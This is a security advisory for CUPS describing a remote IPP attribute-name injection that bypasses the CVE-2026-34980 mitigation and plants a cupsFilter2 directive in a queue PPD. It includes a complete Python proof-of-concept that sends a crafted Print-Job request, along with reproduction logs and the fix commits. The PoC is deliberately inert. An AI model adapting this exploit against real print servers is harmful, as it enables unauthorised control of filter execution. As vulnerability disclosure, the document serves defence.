Skip to content

GHSA-w9hj-hq9p-m7f6

CVE Information

Summary

A remote IPP client able to submit jobs to a shared legacy PostScript/PPD queue can bypass the mitigations introduced for CVE-2026-34980.

The issue is caused by two successive parser differentials. First, a malformed IPP JOB attribute name is serialized into the textual filter option stream and can alter its grammar, recreating a page-border value containing LF after the option-value sanitization step.

This allows injection of a PPD: scheduler status record.

A second differential allows CR inside the value of an otherwise permitted PPD keyword to become a new PPD line only after the sensitive-keyword blacklist has already been applied. This can materialize an effective cupsFilter2 directive and control the filter selected for a subsequent job.

We reproduced the complete chain end-to-end on Ubuntu 26.04 with:

  • cups 2.4.16-1ubuntu1.3
  • cups-filters 2.0.1-0ubuntu4.1

The scheduler subsequently attempted to execute an attacker-controlled filter name. We deliberately used a nonexistent filter, so no arbitrary code was executed during validation.

We believe this is an incomplete-fix / parser-differential variant of CVE-2026-34980.

Details

The CVE-2026-34980 mitigation sanitizes option values and prevents sensitive PPD keywords such as cupsFilter, cupsFilter2, cupsPortMonitor, and cupsPreFilter from being introduced through scheduler PPD: records.

The first bypass occurs when CUPS converts IPP JOB attributes into the historical textual options representation passed to filters.

In scheduler/job.c::get_options(), the attribute name is incorporated into that representation:

cupsConcatString(optptr, attr->name, ...);
cupsConcatString(optptr, "=", ...);

The option value is subsequently sanitized, but the attribute name itself becomes part of the textual option grammar.

A crafted binary IPP request can therefore provide an attribute name containing syntax which is data in the original IPP representation but acquires structural meaning when the option string is parsed again.

In our reproduction this causes cupsParseOptions() to reconstruct a page-border value containing LF.

The legacy pstops filter subsequently reports the invalid page-border value through its status stream. The embedded LF creates a second scheduler status line beginning with:

PPD:

This gives attacker-controlled data access to the PPD update mechanism.

The second bypass occurs while that PPD update is validated and persisted. We use an allowed outer PPD keyword named LabCarrier. Its value contains CR followed by a sensitive PPD directive:

LabCarrier = ok<CR>*cupsFilter2: "..."

At blacklist-validation time, the parsed keyword name is only:

LabCarrier

so it is allowed. The corresponding value still contains:

ok<CR>*cupsFilter2: "..."

When CUPS later persists the accepted keyword/value pair into the queue PPD, the CR is not neutralized. When the PPD is parsed again, that CR acts as a line separator, producing an independent cupsFilter2 directive.

The complete chain observed in the lab was:

remote IPP client
    -> Print-Job with malformed JOB attribute name
    -> get_options() incorporates attr->name into filter options
    -> cupsParseOptions() reparses the option grammar
    -> page-border contains LF
    -> pstops reports the invalid value
    -> LF creates a second "PPD:" scheduler status record
    -> scheduler parses allowed outer keyword "LabCarrier"
    -> LabCarrier value contains CR + "*cupsFilter2: ..."
    -> blacklist checks only "LabCarrier"
    -> value is persisted into the PPD
    -> CR becomes a PPD line separator
    -> cupsFilter2 becomes an independent directive
    -> subsequent job uses attacker-controlled filter name
    -> scheduler attempts to execute that filter

PoC

Tested environment

The complete end-to-end reproduction was performed on:

Ubuntu 26.04
cups          2.4.16-1ubuntu1.3
cups-filters  2.0.1-0ubuntu4.1

The test requires:

  1. cupsd reachable from the test client.
  2. A shared legacy PostScript/PPD queue.
  3. The remote client permitted to submit Print-Job requests to that queue.
  4. A print path reaching pstops.
  5. Direct submission of a crafted binary IPP request.

The PoC below expects the printer queue to be named:

labps

and takes the CUPS server hostname or IP address as its only argument.

Before testing, verify that the marker filter does not exist on the server:

test ! -e /usr/lib/cups/filter/cups-lab-filter-THIS-MUST-NOT-EXIST

Save the following as ipp_exploit.py:

#!/usr/bin/env python3
import http.client
import struct
import sys

server = sys.argv[1]
printer = "labps"


def attr(tag, name, value):
    if isinstance(name, str):
        name = name.encode()
    if isinstance(value, str):
        value = value.encode()

    return (
        bytes([tag])
        + struct.pack("!H", len(name))
        + name
        + struct.pack("!H", len(value))
        + value
    )


# IPP/2.0, Print-Job, request-id 0x12345678
body = b"\x02\x00\x00\x02" + struct.pack("!I", 0x12345678)

# operation-attributes-tag
body += b"\x01"
body += attr(0x47, "attributes-charset", "utf-8")
body += attr(0x48, "attributes-natural-language", "en")
body += attr(0x45, "printer-uri",
             f"ipp://{server}/printers/{printer}")
body += attr(0x42, "requesting-user-name", "lab")
body += attr(0x49, "document-format", "application/postscript")

# job-attributes-tag
body += b"\x02"

# Inert marker only.
bad_name = (
    b'page-border="MARK'
    b"\nPPD: LabCarrier='ok\r*cupsFilter2: "
    b'\\"application/vnd.cups-postscript application/postscript 0 cups-lab-filter-THIS-MUST-NOT-EXIST\\"'
    b"'"
    b'\nDEBUG: tail'
)

body += attr(0x42, bad_name, b"x")

# end-of-attributes-tag
body += b"\x03"

body += b"""%!PS-Adobe-3.0
%%Pages: 1
%%EndComments
%%Page: 1 1
showpage
%%EOF
"""

c = http.client.HTTPConnection(server, 631, timeout=10)
c.request(
    "POST",
    f"/printers/{printer}",
    body=body,
    headers={"Content-Type": "application/ipp"},
)

r = c.getresponse()
data = r.read()

print("HTTP:", r.status, r.reason)

if len(data) >= 8:
    print("IPP version:", f"{data[0]}.{data[1]}")
    print("IPP status: 0x%04x" % int.from_bytes(data[2:4], "big"))
    print("request-id: 0x%08x" % int.from_bytes(data[4:8], "big"))

print("response:", data[:100].hex())

Run it from the remote client:

python3 ipp_exploit.py <cups-server>

The malformed job causes the queue PPD to acquire an effective cupsFilter2 directive referencing:

cups-lab-filter-THIS-MUST-NOT-EXIST

Relevant CUPS logging from the first job shows the reconstructed filter option containing both parser transitions:

page-border="MARK
PPD: LabCarrier='ok\r*cupsFilter2: \"application/vnd.cups-postscript application/postscript 0 cups-lab-filter-THIS-MUST-NOT-EXIST\"'
DEBUG: tail=x ...

and subsequently:

Unsupported page-border value MARK
PPD: LabCarrier='ok\r*cupsFilter2: "..."

After the PPD is updated/reloaded, CUPS reports that the controlled filter does not exist:

File "/usr/lib/cups/filter/cups-lab-filter-THIS-MUST-NOT-EXIST" not available:
No such file or directory

Submit a second normal PostScript job to the same queue.

In our reproduction, the resulting filter chain contained:

3 filters for job:
pstops (...)
cups-lab-filter-THIS-MUST-NOT-EXIST (...)
- (...)

followed by:

Unable to start filter "cups-lab-filter-THIS-MUST-NOT-EXIST" - No such file or directory. Stopping job because the scheduler could not execute a filter.

This confirms that the filter name introduced by the remote IPP request has become a functional cupsFilter2 directive and reached the scheduler's actual filter-execution path.

The PoC intentionally references a nonexistent filter. It does not create or execute a payload.

Impact

A remote client that is permitted to submit jobs to an affected shared legacy PostScript/PPD queue can:

  • inject additional scheduler status records;
  • create attacker-controlled PPD: records;
  • persistently modify the queue PPD;
  • bypass the blacklist protecting security-sensitive PPD keywords;
  • create an effective cupsFilter2 directive;
  • control the filter selected for subsequent print jobs; and
  • reach the scheduler's filter execution attempt.

The experimentally confirmed impact is remote control of the CUPS filter execution path. Successful arbitrary code execution is considered conditional/potential.

The issue does not imply remote exploitation of a default fresh CUPS installation. The tested attack requires an accessible cupsd, a shared legacy PostScript/PPD queue, and permission for the remote client to submit jobs to that queue.

CVSS score remediation Rescored with CVSS v3, PR:L since the default configuration requires a local user account to submit the print job, I:L and A:L since the attack renders a single print queue non-functional.

Fix [master f32341d7f9f9e1566e788dea329af4ac26da4fc7] Validate IPP attribute names unconditionally (GHSA-w9hj-hq9p-m7f6)

[2.4.x 05fe6b0e848e51243e9d62e2c5adb6c3023f247e] Validate IPP attribute names unconditionally (GHSA-w9hj-hq9p-m7f6)